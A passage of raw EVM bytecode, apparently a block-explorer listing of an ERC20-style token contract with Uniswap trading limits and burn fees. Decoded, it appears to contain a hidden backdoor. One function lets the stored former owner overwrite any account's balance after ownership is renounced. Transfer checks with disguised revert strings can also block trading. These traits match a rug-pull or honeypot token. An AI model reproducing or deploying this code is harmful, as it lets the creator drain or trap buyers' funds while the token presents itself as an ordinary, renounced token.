c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561059e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059590611e74565b60405180910390fd5b6105bb856105aa610a9c565b85846105b69190611ebf565b610aa3565b60019150509392505050565b5f6009905090565b5f61066c6105db610a9c565b848460035f6105e8610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106679190611ef2565b610aa3565b6001905092915050565b5f5f3390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016106b29190611f6a565b6040516020818303038152906040528051906020012090505f826040516020016106dc9190611f6a565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561071d576107108983610f50565b965050505050505061072f565b61072689610fe0565b96505050505050505b92915050565b61073d611026565b600160075f6101000a81548160ff021916908315150217905550565b60095481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107ad611026565b6107b65f6110a4565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107ee90611dd4565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90611dd4565b80156108655780601f1061083c57610100808354040283529160200191610865565b820191905f5260205f20905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f5f60035f610899610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a90611ff4565b60405180910390fd5b61097061095e610a9c565b85858461096b9190611ebf565b610aa3565b600191505092915050565b5f61098e610987610a9c565b8484610c66565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a22611026565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790612082565b60405180910390fd5b610a99816110a4565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b08906120ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7690612152565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c599190611c79565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb906121ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990612222565b60405180910390fd5b610d4d8383836111a5565b5f810315610f4b57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f3f575f610e23600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661075f565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a906122b0565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f0a5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f3e575f6064600b5483610f2091906122ce565b610f2a919061233c565b9050610f388484848461157d565b50610f4b565b5b610f4a83838361186d565b5b505050565b5f5f825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61102e610a9c565b73ffffffffffffffffffffffffffffffffffffffff1661104c6107b8565b73ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611099906123b6565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576008548111156112a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129790612444565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113829190612476565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c9190612476565b6040518363ffffffff1660e01b81526004016114499291906124a1565b602060405180830381865afa158015611464573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114889190612476565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a8461075f565b6115349190611ef2565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c9061255e565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e2906125c6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116509061262e565b60405180910390fd5b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d490612696565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818361172d9190611ebf565b92508160045f8282546117409190611ebf565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546117939190611ef2565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117f99190611c79565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185e9190611c79565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d2906126fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611949576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194090612766565b60405180910390fd5b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c4906127ce565b60405180910390fd5b81816119d99190611ebf565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a669190611ef2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aca9190611c79565b60405180910390a350505050565b5f8115159050919050565b611aec81611ad8565b82525050565b5f602082019050611b055f830184611ae3565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611b4d82611b0b565b611b578185611b15565b9350611b67818560208601611b25565b611b7081611b33565b840191505092915050565b5f6020820190508181035f830152611b938184611b43565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bc882611b9f565b9050919050565b611bd881611bbe565b8114611be2575f5ffd5b50565b5f81359050611bf381611bcf565b92915050565b5f819050919050565b611c0b81611bf9565b8114611c15575f5ffd5b50565b5f81359050611c2681611c02565b92915050565b5f5f60408385031215611c4257611c41611b9b565b5b5f611c4f85828601611be5565b9250506020611c6085828601611c18565b9150509250929050565b611c7381611bf9565b82525050565b5f602082019050611c8c5f830184611c6a565b92915050565b5f5f5f60608486031215611ca957611ca8611b9b565b5b5f611cb686828701611be5565b9350506020611cc786828701611be5565b9250506040611cd886828701611c18565b9150509250925092565b5f60ff82169050919050565b611cf781611ce2565b82525050565b5f602082019050611d105f830184611cee565b92915050565b5f60208284031215611d2b57611d2a611b9b565b5b5f611d3884828501611be5565b91505092915050565b611d4a81611bbe565b82525050565b5f602082019050611d635f830184611d41565b92915050565b5f5f60408385031215611d7f57611d7e611b9b565b5b5f611d8c85828601611be5565b9250506020611d9d85828601611be5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611deb57607f821691505b602082108103611dfe57611dfd611da7565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611e5e602883611b15565b9150611e6982611e04565b604082019050919050565b5f6020820190508181035f830152611e8b81611e52565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ec982611bf9565b9150611ed483611bf9565b9250828203905081811115611eec57611eeb611e92565b5b92915050565b5f611efc82611bf9565b9150611f0783611bf9565b9250828201905080821115611f1f57611f1e611e92565b5b92915050565b5f8160601b9050919050565b5f611f3b82611f25565b9050919050565b5f611f4c82611f31565b9050919050565b611f64611f5f82611bbe565b611f42565b82525050565b5f611f758284611f53565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611fde602583611b15565b9150611fe982611f84565b604082019050919050565b5f6020820190508181035f83015261200b81611fd2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61206c602683611b15565b915061207782612012565b604082019050919050565b5f6020820190508181035f83015261209981612060565b9050919050565b7f37594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6120d4601483611b15565b91506120df826120a0565b602082019050919050565b5f6020820190508181035f830152612101816120c8565b9050919050565b7f38594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f61213c601483611b15565b915061214782612108565b602082019050919050565b5f6020820190508181035f83015261216981612130565b9050919050565b7f39594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6121a4601483611b15565b91506121af82612170565b602082019050919050565b5f6020820190508181035f8301526121d181612198565b9050919050565b7f30594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f61220c601483611b15565b9150612217826121d8565b602082019050919050565b5f6020820190508181035f83015261223981612200565b9050919050565b7f594f554152454d59534f4e44494444594f494c594f554152454d59534f4e44495f8201527f4444594f494c0000000000000000000000000000000000000000000000000000602082015250565b5f61229a602683611b15565b91506122a582612240565b604082019050919050565b5f6020820190508181035f8301526122c78161228e565b9050919050565b5f6122d882611bf9565b91506122e383611bf9565b92508282026122f181611bf9565b9150828204841483151761230857612307611e92565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61234682611bf9565b915061235183611bf9565b9250826123615761236061230f565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6123a0602083611b15565b91506123ab8261236c565b602082019050919050565b5f6020820190508181035f8301526123cd81612394565b9050919050565b7f594f554152454d59534f4e44494444594f494c594f554152454d59534f4e44495f8201527f4444594f494c594f554152454d59534f4e44494444594f494c00000000000000602082015250565b5f61242e603983611b15565b9150612439826123d4565b604082019050919050565b5f6020820190508181035f83015261245b81612422565b9050919050565b5f8151905061247081611bcf565b92915050565b5f6020828403121561248b5761248a611b9b565b5b5f61249884828501612462565b91505092915050565b5f6040820190506124b45f830185611d41565b6124c16020830184611d41565b9392505050565b7f594f554152454d59534f4e44494444594f494c594f554152454d59534f4e44495f8201527f4444594f494c594f554152454d59534f4e44494444594f494c594f554152454d60208201527f59534f4e44494444594f494c0000000000000000000000000000000000000000604082015250565b5f612548604c83611b15565b9150612553826124c8565b606082019050919050565b5f6020820190508181035f8301526125758161253c565b9050919050565b7f34594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6125b0601483611b15565b91506125bb8261257c565b602082019050919050565b5f6020820190508181035f8301526125dd816125a4565b9050919050565b7f35594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f612618601483611b15565b9150612623826125e4565b602082019050919050565b5f6020820190508181035f8301526126458161260c565b9050919050565b7f36594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f612680601483611b15565b915061268b8261264c565b602082019050919050565b5f6020820190508181035f8301526126ad81612674565b9050919050565b7f31594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6126e8601483611b15565b91506126f3826126b4565b602082019050919050565b5f6020820190508181035f830152612715816126dc565b9050919050565b7f32594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f612750601483611b15565b915061275b8261271c565b602082019050919050565b5f6020820190508181035f83015261277d81612744565b9050919050565b7f33594f554152454d59534f4e44494444594f494c0000000000000000000000005f82015250565b5f6127b8601483611b15565b91506127c382612784565b602082019050919050565b5f6020820190508181035f8301526127e5816127ac565b905091905056fea264697066735822122041b09365643739c53ca433b62caad1ecd97a27f91d8af675bba46430c91e585864736f6c634300081b00330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c80636a8f3b30116100ab57806398636f321161006f57806398636f3214610322578063a457c2d714610352578063a9059cbb14610382578063dd62ed3e146103b2578063f2fde38b146103e25761012a565b80636a8f3b301461028e57806370a08231146102ac578063715018a6146102dc5780638da5cb5b146102e657806395d89b41146103045761012a565b806323b872dd116100f257806323b872dd146101d6578063313ce567146102065780633950935114610224578063562c21951461025457806362256589146102845761012a565b806303435b7f1461012e57806306fdde031461014c578063095ea7b31461016a57806313c42e4d1461019a57806318160ddd146101b8575b5f5ffd5b6101366103fe565b6040516101439190611af2565b60405180910390f35b610154610410565b6040516101619190611b7b565b60405180910390f35b610184600480360381019061017f9190611c2c565b6104a0565b6040516101919190611af2565b60405180910390f35b6101a26104bd565b6040516101af9190611c79565b60405180910390f35b6101c06104c3565b6040516101cd9190611c79565b60405180910390f35b6101f060048036038101906101eb9190611c92565b6104cc565b6040516101fd9190611af2565b60405180910390f35b61020e6105c7565b60405161021b9190611cfd565b60405180910390f35b61023e60048036038101906102399190611c2c565b6105cf565b60405161024b9190611af2565b60405180910390f35b61026e60048036038101906102699190611c2c565b610676565b60405161027b9190611c79565b60405180910390f35b61028c610735565b005b610296610759565b6040516102a39190611c79565b60405180910390f35b6102c660048036038101906102c19190611d16565b61075f565b6040516102d39190611c79565b60405180910390f35b6102e46107a5565b005b6102ee6107b8565b6040516102fb9190611d50565b60405180910390f35b61030c6107df565b6040516103199190611b7b565b60405180910390f35b61033c60048036038101906103379190611d16565b61086f565b6040516103499190611af2565b60405180910390f35b61036c60048036038101906103679190611c2c565b61088c565b6040516103799190611af2565b60405180910390f35b61039c60048036038101906103979190611c2c565b61097b565b6040516103a99190611af2565b60405180910390f35b6103cc60048036038101906103c79190611d69565b610998565b6040516103d99190611c79565b60405180910390f35b6103fc60048036038101906103f79190611d16565b610a1a565b005b60075f9054906101000a900460ff1681565b60606005805461041f90611dd4565b80601f016020809104026020016040519081016040528092919081815260200182805461044b90611dd4565b80156104965780601f1061046d57610100808354040283529160200191610496565b820191905f5260205f20905b81548152906001019060200180831161047957829003601f168201915b5050505050905090565b5f6104b36104ac610a9c565b8484610aa3565b6001905092915050565b60085481565b5f600454905090565b5f6104d8848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051f610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561059e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059590611e74565b60405180910390fd5b6105bb856105aa610a9c565b85846105b69190611ebf565b610aa3565b60019150509392505050565b5f6009905090565b5f61066c6105db610a9c565b848460035f6105e8610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106679190611ef2565b610aa3565b6001905092915050565b5f5f3390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016106b29190611f6a565b6040516020818303038152906040528051906020012090505f826040516020016106dc9190611f6a565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561071d576107108983610f50565b965050505050505061072f565b61072689610fe0565b96505050505050505b92915050565b61073d611026565b600160075f6101000a81548160ff021916908315150217905550565b60095481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107ad611026565b6107b65f6110a4565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107ee90611dd4565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90611dd4565b80156108655780601f1061083c57610100808354040283529160200191610865565b820191905f5260205f20905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f5f60035f610899610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a90611ff4565b60405180910390fd5b61097061095e610a9c565b85858461096b9190611ebf565b610aa3565b600191505092915050565b5f61098e610987610a9c565b8484610c66565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a22611026565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790612082565b60405180910390fd5b610a99816110a4565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b08906120ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7690612152565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c599190611c79565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb906121ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990612222565b60405180910390fd5b610d4d8383836111a5565b5f810315610f4b57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f3f575f610e23600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661075f565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a906122b0565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f0a5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f3e575f6064600b5483610f2091906122ce565b610f2a919061233c565b9050610f388484848461157d565b50610f4b565b5b610f4a83838361186d565b5b505050565b5f5f825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61102e610a9c565b73ffffffffffffffffffffffffffffffffffffffff1661104c6107b8565b73ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611099906123b6565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576008548111156112a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129790612444565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113829190612476565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c9190612476565b6040518363ffffffff1660e01b81526004016114499291906124a1565b602060405180830381865afa158015611464573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114889190612476565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a8461075f565b6115349190611ef2565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c9061255e565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e2906125c6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116509061262e565b60405180910390fd5b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d490612696565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818361172d9190611ebf565b92508160045f8282546117409190611ebf565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546117939190611ef2565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117f99190611c79565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185e9190611c79565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d2906126fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611949576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194090612766565b60405180910390fd5b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c4906127ce565b60405180910390fd5b81816119d99190611ebf565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a669190611ef2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aca9190611c79565b60405180910390a350505050565b5f8115159050919050565b611aec81611ad8565b82525050565b5f602082019050611b055f830184611ae3565b92915050565b5f81519050919050565b